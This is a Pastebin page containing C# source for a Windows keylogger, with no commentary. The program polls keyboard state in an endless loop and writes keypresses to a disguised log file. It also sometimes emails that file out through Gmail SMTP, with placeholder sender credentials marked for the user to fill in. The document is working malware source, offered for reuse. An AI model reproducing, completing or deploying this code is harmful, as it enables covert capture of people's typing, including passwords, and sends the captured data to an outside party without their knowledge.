Advertisement
Guest User

Untitled

a guest
Feb 16th, 2018
297
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C# 3.55 KB | None | 0 0
  1. using System;
  2. using System.Collections.Generic;
  3. using System.Linq;
  4. using System.Text;
  5. using System.Threading.Tasks;
  6.  
  7. using System.Windows.Forms;
  8. using System.Runtime.InteropServices;
  9. using System.Threading;
  10. using System.IO;
  11. using System.Net.Mail;
  12.  
  13. namespace ConsoleApp3
  14. {
  15.     internal class Program
  16.     {
  17.         [DllImport("user32.dll")]
  18.         public static extern int GetAsyncKeyState(Int32 i);
  19.  
  20.         public static void Main(string[] args)
  21.         {
  22.             Random rand = new Random();
  23.             int randomnumber = rand.Next(1, 10);
  24.             if (randomnumber > 5)
  25.             {
  26.                 SendMail();
  27.             }
  28.             Console.WriteLine(randomnumber);
  29.             LogKeys();
  30.         }
  31.  
  32.         private static void SendMail()
  33.         {
  34.             Thread.Sleep(2000);
  35.             string Newfilepath2 = @".\Data\Mesh\Azet.TMH"; // get Log path
  36.  
  37.             DateTime dateTime = DateTime.Now; // call date
  38.             string subtext = "Loggedfiles"; // email subject
  39.             subtext += dateTime;
  40.  
  41.             SmtpClient client = new SmtpClient("smtp.gmail.com", 587); // GMAIL Port
  42.             MailMessage LOGMESSAGE = new MailMessage();
  43.             LOGMESSAGE.From = new MailAddress("x@gmail.com"); // YOUR EMAIL
  44.             LOGMESSAGE.To.Add("x@gmail.com"); // YOUR EMAIL
  45.             LOGMESSAGE.Subject = subtext; // Subject
  46.  
  47.             client.UseDefaultCredentials = false; // Call email creds
  48.             client.EnableSsl = true;
  49.             client.Credentials = new System.Net.NetworkCredential("x@gmail.com", "x");
  50.  
  51.             Console.WriteLine(Newfilepath2);
  52.  
  53.             string newfile = File.ReadAllText(Newfilepath2); // reads log file
  54.  
  55.             string attachmenttextfile = @".\Data\Mesh\Azeta.TMH"; // path to find new file!
  56.             File.WriteAllText(attachmenttextfile, newfile);
  57.             LOGMESSAGE.Attachments.Add(new Attachment(Newfilepath2));
  58.             LOGMESSAGE.Body = subtext;
  59.             client.Send(LOGMESSAGE);
  60.             LOGMESSAGE = null;
  61.             Console.WriteLine("Succes SENDED");
  62.             Console.WriteLine(Newfilepath2);
  63.         }
  64.  
  65.         private static void LogKeys()
  66.         {
  67.             String filepath = @".\Data\Mesh\";
  68.  
  69.             if (!Directory.Exists(filepath))
  70.             {
  71.                 Directory.CreateDirectory(filepath);
  72.             }
  73.  
  74.             string path = (@filepath + "Azet.TMH");
  75.  
  76.             if (!File.Exists(path))
  77.             {
  78.                 /* using (var xc = File.OpenWrite(path))
  79.                  using (var bw = new BinaryWriter(xc))
  80.                  {
  81.                      bw.Write(new byte[] { 123 });
  82.                      bw.Write(123);
  83.                  }*/
  84.  
  85.                 using (StreamWriter sw = File.CreateText(path))
  86.                 {
  87.                     Console.WriteLine("OK");
  88.                 }
  89.             }
  90.  
  91.             KeysConverter converter = new KeysConverter();
  92.             string text = "";
  93.  
  94.             while (5 > 1)
  95.             {
  96.                 Thread.Sleep(5);
  97.                 for (Int32 i = 0; i < 2000; i++)
  98.                 {
  99.                     int key = GetAsyncKeyState(i);
  100.                     if (key == 1 || key == -32767)
  101.                     {
  102.                         text = converter.ConvertToString(i);
  103.                         using (StreamWriter sw = File.AppendText(path))
  104.                         {
  105.                             sw.WriteLine(text);
  106.                         }
  107.                         break;
  108.                     }
  109.                 }
  110.             }
  111.         }
  112.     }
  113. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement